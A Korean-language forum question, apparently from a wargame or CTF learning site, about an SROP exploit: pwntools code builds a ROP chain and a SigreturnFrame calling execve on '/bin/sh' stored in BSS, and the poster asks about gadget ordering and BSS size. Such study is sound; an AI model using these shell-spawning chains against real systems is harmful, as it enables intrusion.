`payload += p64(pop_rax) payload += p64(15) payload += p64(syscall)` 위와 같이 pop_rax와 syscall 사이에 p64(15)를 넣어도 제대로 작동하는 이유가 뭔가요? srop 문제에서는 pop rax와 syscall 다음에 입력을 하던데 차이점이 있나요? 그리고 위 사진처럼 find /bin/sh를 해서 나오는 /bin/sh 값이 나오는 이유는 뭔가요? srop 문제에서는 libc에 존재하는 /bin/sh 만 나오던데..

frame2 = SigreturnFrame() frame2.rax = 59 #execve frame2.rdi = bss +0x200 frame2.rsi = 0 frame2.rdx = 0 frame2.rip = sys_gad frame2.rsp = bss payload2 = p64(rax_gad) + p64(15) payload2 += p64(sys_gad) payload2 += bytes(frame2) payload2 += b"B" * (0x200 - len(payload2)) payload2 += b"/bin/sh\x00" 이런식으로 프레임 구성을 해서 두번째 프레임 전송을 했는데 로컬/원격 모두 쉘 권한이 획득되지 않았습니다. 그래서 rdi를 +0x200이 아닌 payload2 사이즈인 +0x110으로 주고 패딩을 없애니 문제없이 쉘 권한이 취득되는데 여기서 +0x200에서 문제가 발생하는 이유(BSS영역의 사이즈 문제로 추측) BSS 영역의 사이즈를 확인할 수 있는방법 이 궁금합니다.